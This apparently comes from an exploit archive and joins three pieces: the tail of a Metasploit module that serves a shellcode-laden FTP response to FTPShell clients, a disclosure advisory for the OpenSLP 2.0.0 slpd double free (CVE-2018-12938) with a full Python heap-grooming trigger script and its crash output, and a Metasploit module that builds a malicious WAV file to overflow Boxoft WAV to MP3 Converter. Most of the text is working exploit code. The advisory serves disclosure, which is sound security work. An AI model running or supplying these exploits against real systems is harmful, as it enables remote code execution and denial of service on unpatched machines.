        ],
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x22\x0d\x0a\x0b"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # CALL ESI in FTPShell.exe : 0x00452eed
          [ 'Windows Universal', {'Ret' => "\xed\x2e\x45" } ]
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'SRVHOST' => '0.0.0.0',
          'EXITFUNC' => 'thread'
        },
      'DisclosureDate' => 'Mar 4 2017',
      'DefaultTarget'  => 0))

    register_options [ OptPort.new('SRVPORT', [ true, 'The FTP port to listen on', 21 ]) ]
  end

  def exploit
    srv_ip_for_client = datastore['SRVHOST']
    if srv_ip_for_client == '0.0.0.0'
      if datastore['LHOST']
        srv_ip_for_client = datastore['LHOST']
      else
        srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
      end
    end

    srv_port = datastore['SRVPORT']

    print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
    super
  end

  def on_client_connect(client)
    p = regenerate_payload(client)
    return if p.nil?
    print_status("#{client.peerhost} - connected.")

    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
    print_status("#{client.peerhost} - Response: Sending 220 Welcome")
    welcome = "220 Welcome.\r\n"
    client.put(welcome)

    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}")
    print_status("#{client.peerhost} - Response: sending 331 OK")
    user = "331 OK.\r\n"
    client.put(user)

    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}")
    print_status("#{client.peerhost} - Response: Sending 230 OK")
    pass = "230 OK.\r\n"
    client.put(pass)
    res = client.get_once.to_s.strip
    print_status("#{client.peerhost} - Request: #{res}")

    sploit = '220 "'
    sploit << payload.encoded
    sploit << "\x20" * (payload_space - payload.encoded.length)
    sploit << target.ret
    sploit << "\" is current directory\r\n"

    print_status("#{client.peerhost} - Request: Sending the malicious response")
    client.put(sploit)

  end
end
            
'''
     _       _      _         _   _        ___
 ___| |___ _| |   _| |___ _ _| |_| |___   |  _|___ ___ ___
|_ -| | . | . |  | . | . | | | . | | -_|  |  _|  _| -_| -_|
|___|_|  _|___|  |___|___|___|___|_|___|  |_| |_| |___|___|
      |_|

2018-06-28

SLPD DOUBLE FREE 
================

CVE-2018-12938

An issue was found in openslp-2.0.0 that can be used to induce a double free bug or memory corruption by
corrupting glibc's doubly-linked memory chunk list. At the time of writing, no patch has been made available.
The issue was discovered by Magnus Klaaborg Stubman.

On line 409 of slpd_process.c, the *sendbuf pointer is copied to result.
On line 251, the first reallocation takes place, potentially free()ing the memory if
it was moved as part of the reallocation.
On line 547, the second reallocation is done, again potentially free()ing the memory
if it has to be moved as part of the reallocation, potentially resulting in a double free bug.

Code snippets from openslp-2.0.0/slpd/slpd_process.c:

  237 static int ProcessDASrvRqst(SLPMessage * message, SLPBuffer * sendbuf, int errorcode)
  238 {
  ..
  243    size_t initial_buffer_size = 4096;
  ..
  246    /* Special case for when libslp asks slpd (through the loopback) about
  247     * a known DAs. Fill sendbuf with DAAdverts from all known DAs.
  248     */
  249    if (SLPNetIsLoopback(&message->peer))
  250    {
  251       *sendbuf = SLPBufferRealloc(*sendbuf, initial_buffer_size); <-- first reallocation
  ..
  402 static int ProcessSrvRqst(SLPMessage * message, SLPBuffer * sendbuf,
  403       int errorcode)
  404 {
  405    int i;
  406    SLPUrlEntry * urlentry;
  407    SLPDDatabaseSrvRqstResult * db = 0;
  408    size_t size = 0;
  409    SLPBuffer result = *sendbuf; <-- pointer is copied
  ..
  460    /* check to to see if a this is a special SrvRqst */
  461    if (SLPCompareString(message->body.srvrqst.srvtypelen,
  462          message->body.srvrqst.srvtype, 23, SLP_DA_SERVICE_TYPE) == 0)
  463    {
  464       errorcode = ProcessDASrvRqst(message, sendbuf, errorcode); <-- sendbuf passed to function
  ..
  546    /* reallocate the result buffer */
  547    result = SLPBufferRealloc(result, size); <-- second reallocation


PROOF OF CONCEPT
================

The following patch can be used to understand the reallocation behavior:

  diff --git a/common/slp_buffer.c b/common/slp_buffer.c
  index 1cab3f5..b3e3ff1 100644
  --- a/common/slp_buffer.c
  +++ b/common/slp_buffer.c
  @@ -104,7 +104,9 @@ SLPBuffer SLPBufferRealloc(SLPBuffer buf, size_t size)
            /* Allocate one extra byte for null terminating strings that
             * occupy the last field of the buffer.
             */
  +         printf("xrealloc(%p, %u) = ", buf, sizeof(struct _SLPBuffer) + size + 1);
            result = xrealloc(buf, sizeof(struct _SLPBuffer) + size + 1);
  +         printf(" = %p\n", result);
            if (result)
                result->allocated = size;
         }

In order to induce a double-free condition the heap must be massaged
such that the reallocation attempts to move memory around.
A proof of concept exploit was developed that demonstrates the vulnerability:

  $ sudo python openslp-2.0.0-double-free-poc.py
  Proof-of-concept heap massager and double-free trigger for openslp-2.0.0 slpd
  Run this script before launching slpd
  [-] Waiting for multicast service request from slpd...
  [+] Got request! Sending reply to 192.168.245.191 427...
  [-] Sending first Service Request to 127.0.0.1:427 from 127.0.0.1:53309...
  [-] Waiting for response...
  [+] Received 71 bytes from 127.0.0.1:427
  [-] Sending  packet to (multicast) 239.255.255.253:427 from 192.168.245.191:41965...
  [+] Got request! Sending reply to 192.168.245.191 41965...
  [-] Waiting for response from bad-multicast-server.py...
  [+] Received 71 bytes from 192.168.245.191:427
  [-] Connecting to 192.168.245.191:427...
  [+] Connected. Sending...
  [-] Sent packet to 192.168.245.191:427 from 192.168.245.191:39914...
  [+] Done!
  $ sudo ./slpd/slpd -d -c etc/slp.conf
  ...
  xrealloc(0x137ba50, 1449) =  = 0x138dd30
  xrealloc(0x137ba50, 69) =
  *** Error in `./slpd/slpd': double free or corruption (fasttop): 0x000000000137ba50 ***

As shown in slpd's output prior to crashing, 0x138dd30 is returned when 0x137ba50 is
reallocated, thus free()ing 0x137ba50. However, afterwards 0x137ba50 is yet again reallocated,
and due to the layout of the heap, free()d a second time, resulting in a double free.

EXPLOIT
=======

dumpco.re/exploits/openslp-2.0.0-double-free-poc.py:
'''

  import os
  import sys
  import struct
  import socket

  targetIp = "192.168.245.194"

  abuf = ("\x02\x08\xff\xff\xff\x00\x00\x00\x00\x00\x58\x27\x00\x02\x65\x6e" +
     "\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
     "\x00\x00\x00\x00\x00\x00\x00")

  mcastserversock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  mcastserversock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  mcastserversock.bind(('239.255.255.253', 427))
  mreq = struct.pack("4sl", socket.inet_aton('239.255.255.253'), socket.INADDR_ANY)
  mcastserversock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

  print "Proof-of-concept heap massager and double-free trigger for openslp-2.0.0 slpd\nRun this script before launching slpd and remember to update targetIp variable."
  print "[-] Waiting for multicast service request from slpd..."
  data, addr = mcastserversock.recvfrom(1024)
  print "[+] Got request! Sending reply to " + addr[0] + " " + str(addr[1]) + "..."
  mcastserversock.sendto(abuf, (addr[0], addr[1]))

  localhostsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  localhostsock.bind(('127.0.0.1', 0))
  print "[-] Sending first Service Request to 127.0.0.1:427 from 127.0.0.1:" + str(localhostsock.getsockname()[1]) + "..."

  buf = ("\x02\x01\x00\x00\x31\x00\x00\x00\x00\x00\x66\x0b\x00\x02\x65\x6e" +
         "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" +
         "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x00\x00\x00\x00" +
         "\x00")

  localhostsock.sendto(buf, ('127.0.0.1', 427))
  print "[-] Waiting for response..."
  data, addr = localhostsock.recvfrom(1024)
  print "[+] Received " + str(len(data)) + " bytes from " + addr[0] + ":" + str(addr[1])

  clientsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  clientsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  clientsock.bind(('0.0.0.0', 0))
  print "[-] Sending  packet to (multicast) 239.255.255.253:427 from " + targetIp + ":" + str(clientsock.getsockname()[1]) + "..."
  mreq = struct.pack("4sl", socket.inet_aton('239.255.255.253'), socket.INADDR_ANY)
  clientsock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

  buf = ("\x02\x01\x00\x00\x38\x20\x00\x00\x00\x00\x66\x0c\x00\x02\x65\x6e" +
         "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" +
         "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x07\x44\x45\x46" +
         "\x41\x55\x4c\x54\x00\x00\x00\x00")

  clientsock.sendto(buf, ('239.255.255.253', 427))

  data, addr = mcastserversock.recvfrom(1024)
  print "[+] Got request! Sending reply to " + addr[0] + " " + str(addr[1]) + "..."
  mcastserversock.sendto(abuf, (addr[0], addr[1]))

  clientsock.close()
  print "[+] Received " + str(len(data)) + " bytes from " + addr[0] + ":" + str(addr[1])

  buf = ("\x02\x01\x00\x00\x38\x00\x00\x00\x00\x00\x66\x0d\x00\x02\x65\x6e" +
         "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" +
         "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x07\x44\x45\x46" +
         "\x41\x55\x4c\x54\x00\x00\x00\x00")

  tcpclientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print "[-] Connecting to " + targetIp + ":427..."
  tcpclientsock.connect((targetIp, 427))
  print "[+] Connected. Sending..."
  tcpclientsock.send(buf)
  print "[-] Sent packet to " + targetIp + ":427 from " + targetIp + ":" + str(tcpclientsock.getsockname()[1]) + "...\n[+] Done!"

'''
IMPACT
======

Although not attempted, the issue may be exploitable such that a remote unauthenticated
attacker may gain Remote Code Execution, since double frees have been known to be exploitable
leading to RCE. As such, this issue may score 'high' on CVSS.

TIMELINE
========

2018-01-22 Discovery
2018-01-23 Vendor notification
2018-06-28 Public disclosure
2018-06-29 MITRE assigned CVE-ID

REFERENCES
==========

- nvd.nist.gov/vuln/detail/CVE-2018-12938
- cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12938
- vuldb.com/?id.120078
- securityfocus.com/bid/104576
- access.redhat.com/security/cve/cve-2018-12938
- bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-12938


CVE ASSIGNMENT
==============

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

[Suggested description]
slpd_process.c in OpenSLP 2.0.0 has a double free resulting in
denial of service (daemon crash) or possibly unauthenticated remote code execution.

------------------------------------------

[Additional Information]
A proof of concept exploit has been developed, but due to size
constraints of this form it cannot sent. I can provide it over e-mail
if needed. I originally reported this issue to the maintainers on
2018-01-23 but they have failed to provide a patch. I am publicly
disclosing the issue as soon as a CVE-ID is assigned.

Vulnerability:
On line 409 of slpd_process.c, the *sendbuf pointer is copied to result.
On line 251, the first reallocation takes place, potentially free()ing the memory if
it was moved as part of the reallocation.
On line 547, the second reallocation is done, again potentially free()ing the memory
if it has to be moved as part of the reallocation, potentially resulting in a double free bug.

Code snippets from openslp-2.0.0/slpd/slpd_process.c:

237 static int ProcessDASrvRqst(SLPMessage * message, SLPBuffer * sendbuf, int errorcode)
238 {
...
243    size_t initial_buffer_size = 4096;
...
246    /* Special case for when libslp asks slpd (through the loopback) about
247     * a known DAs. Fill sendbuf with DAAdverts from all known DAs.
248     */
249    if (SLPNetIsLoopback(&message->peer))
250    {
251       *sendbuf = SLPBufferRealloc(*sendbuf, initial_buffer_size); <-- first reallocation
...
402 static int ProcessSrvRqst(SLPMessage * message, SLPBuffer * sendbuf,
403       int errorcode)
404 {
405    int i;
406    SLPUrlEntry * urlentry;
407    SLPDDatabaseSrvRqstResult * db = 0;
408    size_t size = 0;
409    SLPBuffer result = *sendbuf; <-- pointer is copied
...
460    /* check to to see if a this is a special SrvRqst */
461    if (SLPCompareString(message->body.srvrqst.srvtypelen,
462          message->body.srvrqst.srvtype, 23, SLP_DA_SERVICE_TYPE) == 0)
463    {
464       errorcode = ProcessDASrvRqst(message, sendbuf, errorcode); <-- sendbuf passed to function
...
546    /* reallocate the result buffer */
547    result = SLPBufferRealloc(result, size); <-- second reallocation

------------------------------------------

[VulnerabilityType Other]
Double free

------------------------------------------

[Vendor of Product]
openslp.org

------------------------------------------

[Affected Product Code Base]
openslp - 2.0.0 and earlier

------------------------------------------

[Affected Component]
openslp-2.0.0/slpd/slpd_process.c

------------------------------------------

[Attack Type]
Remote

------------------------------------------

[Impact Code execution]
true

------------------------------------------

[Impact Denial of Service]
true

------------------------------------------

[Attack Vectors]
To exploit the vulnerability, a malicious user must send a malformed SLP packet to the target system.

------------------------------------------

[Has vendor confirmed or acknowledged the vulnerability?]
true

------------------------------------------

[Discoverer]
Magnus Klaaborg Stubman

------------------------------------------

[Reference]
dumpco.re/blog/openslp-2.0.0-double-free

Use CVE-2018-12938.


- --
CVE Assignment Team
M/S M300, 202 Burlington Road, Bedford, MA 01730 USA
[ A PGP key is available for encrypted communications at
 cve.mitre.org/cve/request_id.html ]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCAAGBQJbNWOrAAoJEA2h+fVryJLoqocP/iwnxfQU+gKSj4HGdxTI6hZt
raqOEC4/Pgpg7Ha2tU5jw1STfUnesPk0tDMfwSioTDYQCHWn9wWg2Yg7SIzovH0t
wjdI0L//THgMVjnAwZroLcoWGFUCOVu8umjcXO15y0DhllCEoSzjNXKcRKPOA0ix
Ej2Pc15umaqNO1HsLnvOOhvp1wMWOXsPNVnC+YrExbIA9FA1+bdUGSDRY4qpcvuh
m+ZLzPdlu2WQJDB11TfEYrfEQkbwcOUGgvVY/Gr3zFBvviP8tf69IsKVkGHKdZ3w
6+Ev/GMTWXH0Zg36Oxpxe4jVDmm0gKJr7JmLNB9FhhKMYHIqG8k2pmhGzjDJ7emC
P7o/dpuRjXbIw4JWxjju7fDrWP0pbqD9Ezu3jiqfjSFypCFhSCbY+pGZEOS1/Myt
MdW7jsfUXZnZXudq1ihttEJMBxbsOdbZo/XnfSF/77AX74dJn1Irsq972iUF5wpK
iIlM6dGrBwVO3igmQr6821+F5tJ45GuR9cxUOtNJsUIJ0sULzaiZEspXTbu/hxlt
SjKGrqppZm0jt89d8i7ugkhDZCPODU/ELjJtu58Bd5SG5AtF0E80gMIDEOmq6qj2
oyUrmCaRHghHtzwJpYzRwMwjCMRg0XnuJ4YM0NQjiDYXgS6+yh/56t8M/9PLt4Nj
AKXh3pI64gZWkAXJexiW
=iMrL
-----END PGP SIGNATURE-----
'''
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow",
      'Description'    => %q{
       This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.
       By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the
       application, a buffer is overwritten, which allows for running shellcode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Robbie Corley', # EDB POC
          'Shelby Pace'    # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2015-7243' ],
          [ 'EDB', '38035' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Boxoft WAV to MP3 Converter v1.1',
            {
              'Ret' => 0x0040144c # P/P/R from wavtomp3.exe (1.1.0.0)
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "Aug 31 2015",
      'DefaultTarget'  => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'The malicious file name', 'music.wav'])
    ])
  end

  def exploit
    file_payload = payload.encoded

    buf = make_fast_nops(4132)
    buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
    buf << [target.ret].pack("V*")  # seh
    buf << file_payload
    # Size isn't very sensitive
    buf << make_fast_nops(5860)

    file_create(buf)
  end
end